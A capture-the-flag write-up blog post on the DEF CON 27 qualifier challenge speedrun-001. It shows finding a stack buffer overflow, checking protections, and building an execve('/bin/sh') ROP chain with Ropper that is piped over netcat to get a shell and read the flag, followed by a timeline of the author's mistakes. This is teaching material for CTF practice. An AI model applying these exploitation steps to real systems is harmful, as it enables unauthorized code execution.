TL;DR
Simple buffer overflow speedrun challenge, exploited with a ROP chain generated by Ropper. And analyse the timeline.
Introduction
In the speedrun category in the Defcon-27 CTF qualifier, there was a new challenge released every two hours. The first few solves got more points, but later it was only worth 5 points. These speedrun challenges were generally simple, and I do see some potential since they are actually solvable for beginners too. The bigger CTFs don't generally have challenges for the beginners because it's time-consuming for the competitive teams and they take away valuable time from the hard challenges. However, wrapping it into a speedrun could make them interesting because creating good tooling around speedrunning and optimizing efficiency can be interesting for the top teams and also this gives beginners a chance to solve some challenges.
Setup
In this post, we'll look at the challenge speedrun-001, which is a straight forward binary exploitation challenge. Let's quickly go over the setup. In the past I often used vagrant as a way to manage Linux Virtual machines; however, I have since moved to using docker, and it's pretty simple to use.
- Install docker from here.
- Pull/build a docker image you want, for example ubuntu. Or you can use a Dockerfile made by somebody. Here is a simple dockerfile by me, but it's nothing special or thought out.
$ docker build -t ubuntu18:ctf - < Dockerfile
- We can verify that our docker image has been built by doing
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu18 vtf 6dde8c47ad56 2 minutes ago 1.47GB
- Now we can run the image as a container by performing the following command
$ docker run --rm -v $PWD:/pwd --cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined -p 5555:5555 -i ubuntu18:ctf
# `--rm` : Clean up
# `-v` : Shared volume between the host(current directory) and the container(/pwd)
# `--cap-add & --security-opt` : Enable Ptrace and disable sandboxing for gdb
# `-p` : Port mapping for exposing
# `-i` : Specify the docker image
- The above command starts the docker container and we can view the running instance by doing
$ docker ps
CONTAINER ID IMAGE ...
1cc5488da0c2 ubuntu18:ctf ...
- We can now spawn any number of shells and interact with the container.
$ docker exec -it 1cc5488da0c2 /bin/bash
# `exec` : Execute a program inside the container
# `-it` : Interactive and allocate a pseudo-TTY
root@1cc5488da0c2:/#
The Speedrun
First thing we gotta do is to look at what the binary does.
root@1cc5488da0c2:/# nc speedrun-001.quals2019.oooverflow.io 31337
Hello brave new challenger
Any last words?
It just prints out a message and asks if we have any last words, so let's just try liveoverflow
as a test string.
liveoverflow
This will be the last thing that you say: liveoverflow
As you can see, we get the message back. Because our input is reflected, it's good to check for format string vulnerabilities using eg. %x
to see if there's any leak. But there wasn't.
I also tried to reverse engineer the executable using Ghidra, but the decompilation shows that the code is too much obfuscated and we don't really have the time to reverse this mess. Because it's a speedrun challenge, I assume this is not the intended way.
I attached gdb to the executable, and this time we can try an input with a lot of AAAAA...
, and guess what? We got a Segmentation Fault; indeed, it was a simple buffer overflow. Instead of using a pattern generation and checking the offset, I simply tried to do that by hand; I thought it's a bit quicker that way. I also quickly checked for some protections like NX using checksec
.
gef➤ checksec
[+] checksec for '/pwd/speedrun-001'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
As you can see, the NX
bit is turned on, which means the stack is not executable, so shellcode is a no-no. Also, there's no PIE (Position Independent Executable)
which means no ASLR (Address Space Layout Randomization).
I also thought about ret2libc, but when I looked for the global offset table, there were no libc functions. As it turns out, the binary is statically linked, which I should've checked at the beginning.
root@1cc5488da0c2:/# lld ./speedrun-001
not a dynamic executable
root@1cc5488da0c2:/# file ./speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (DNU/Linux) statically linked
So I guess we need a ROP chain.
ROP
Making a ROP chain by hand is probably too slow. So let's use a tool which generates one for us! The tool I choose was Ropper.
root@1cc5488da0c2:/# ./Ropper.py --file /pwd/speedrun-001 --chain "execve cmd=/bin/sh"
# --file : File to find the chain
# --chain : The chain goal
ROP_CODE...
Ropper outputs as python code, so we can simply copy it to our exploit. Here I'll copy the ROP chain into the python interpreter and write it to a file.
>>> ROP_CODE # <- should be Ropper output
>>> BUFFER = "AAAAAAAAA.....AAA" # <- the padding/offset we determined
>>> open('/pwd/rop', 'w').write(BUFFER + ROP_CODE + "\n")
root@1cc5488da0c2:/pwd# (cat rop; cat) | nc speedrun-001.quals2019.oooverflow.io 31337
Hello brave new challenger
Any last words?
This will be the last thing that you say: ��@
Alas, you had no luck today.
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
cat /flag
OOO{Ask any pwner. Any real pwner....}
Here, the first cat
will read the exploit and send it, the buffer overflow happens, and our ROP chain will eventually get us the shell. Then the next cat
with no arguments will read the input we type and send it to the output too. We do this because we sent our triggering exploit via netcat and when the shell is executed, the second cat
will be waiting for our input. Now we can simply read the flag file, pretty straightforward, right?
Well, in reality, this challenge took me 17 minutes and 30 seconds to complete it. And of course, it wasn't as smooth as the writeup goes. So I have tried to breakdown the entire timeline for you - I think it could be interesting.
Timeline Breakdown
- The First quarter was spent on basic recon, just looking at the binary and seeing what it does.
- Then we find the "BUG" - Buffer Overflow.
- This is followed by some analysis and finding the correct offset.
- After this I did more recon and passed half the time for the challenge.
- At some point we figure out that we need to use a ROP chain and now we start to setup Ropper.
- Had some issues setting up Ropper, but then again past 3 quarter of the time, we start crafting the exploit.
Hard spots
- These red parts represent the time I spent on some stupid errors of mine.
- I had some short fails at the start, but it was really nothing.
- The real-time cost was taken by setting up Ropper, because I ran into some setup problems.
- I also had trouble generating ROP chains because I was using "bad bytes" (basically a blacklist of bytes that must not be included in the ROP chain) which couldn't have worked. I excluded null-bytes and in x64 addresses for ROP usually have some 0x00 bytes.
- And in the exploit part, I was failing to get it to work because first I forgot the paddings.
- Besides fails, I also spent time googling, like looking for Ropper and also things like "what was partial relro again?".
- Also, there were times where I just stared at the screen thinking about next steps.
As you can clearly see, fails happen even with the most basic challenges. Googling around and fighting with errors is normal. I hope you guys like the timeline breakdown.
One Last Thing
I don't really offer much as rewards for my Patrons or my YouTube members, but for this challenge I have actually something.
I recorded myself solving this challenge during the CTF. And so as an exclusive reward I have prepared a bonus video of me solving the challenge in real time with added commentary, to explain what I was thinking at each step in time. So if you are interested in that video, please consider supporting me on Patreon or become a YouTube member. Thanks!